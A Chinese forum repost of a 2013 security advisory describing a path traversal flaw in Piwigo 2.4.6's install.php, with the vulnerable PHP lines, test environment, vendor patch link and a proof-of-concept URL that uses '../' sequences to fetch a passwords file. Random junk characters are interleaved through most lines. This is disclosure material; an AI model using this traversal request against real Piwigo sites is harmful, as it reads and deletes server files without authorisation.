Piwigo是用PHP编写的相册脚本。0 J( j5 i l6 z9 _
4 |" Y9 O0 r+ l9 h. z: VPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。9 Q) ?/ x, y3 f9 {! O5 M
====================================================================
, V b$ c1 T. M& Z6 H6 o- `/ N Q* I/install.php:
/ U; I) e1 C7 r; J( K$ }1 J. \-------------7 L5 J; ~8 x( n9 l0 U b6 E& L0 Y
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))) G. a. G: e2 O- U0 _5 o O. l4 }
114: {
$ L @; i( C! ]- `% l3 B9 ?115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];1 ~' a" ]$ l2 h& w, R$ t
116: header('Cache-Control: no-cache, must-revalidate');" D2 D# k }# ^ V6 y- l
117: header('Pragma: no-cache');$ G' `; _8 K5 t7 Q5 d! H
118: header('Content-Disposition: attachment; filename="database.inc.php"');( [, Z# J3 c! U0 _2 t, X: w$ U* m# X# w
119: header('Content-Transfer-Encoding: binary');
6 \( U+ J; Z: f) ?' s120: header('Content-Length: '.filesize($filename));
5 b! n+ _( L& a; G7 J$ [121: echo file_get_contents($filename);4 Y6 ~; B2 D: A# [, E0 Z
122: unlink($filename);
& J% I; o* M+ g123: exit();
5 D4 A* [! P) }+ D1 z! t0 S124: }! n8 F, u, K# `1 ~& r
====================================================================; Q; D. t A% P @% S
) a' I) ] E6 @
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
0 H: ?; B8 m/ b) M$ w Apache 2.4.2 (Win32)
4 V' ]6 U2 _0 X PHP 5.4.4
, u2 A, x$ I7 i _ MySQL 5.5.25a
0 o$ g# F1 k+ F6 r. J, c 2 q2 r1 n; l. H2 }
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic+ X1 \* ?4 X7 k$ h$ X. P/ C
@zeroscience. [3 q, M' H/ T5 f
% o, b8 i2 T) \Advisory ID: ZSL-2013-5127
2 J. M9 l2 c# ^* S0 }Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
' r3 w% A$ C, z5 Z- W' b, xVendor Patch: http://piwigo.org/bugs/view.php?id=28437 c6 h* i% L6 ]$ k" a$ h/ P
2 f3 D7 p$ |9 I) ]; b V9 u1 {15.02.2013
S) B2 Y) F9 Z$ q0 A+ U
. z: r3 I0 F$ i' ? p P--& u4 r9 D7 d8 i
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt! F9 d$ b' j+ d, d. m9 q
! O3 ~9 ]/ R4 H4 s4 T' ]
|
发表于 2013-3-14 20:15:53
收藏
支持
反对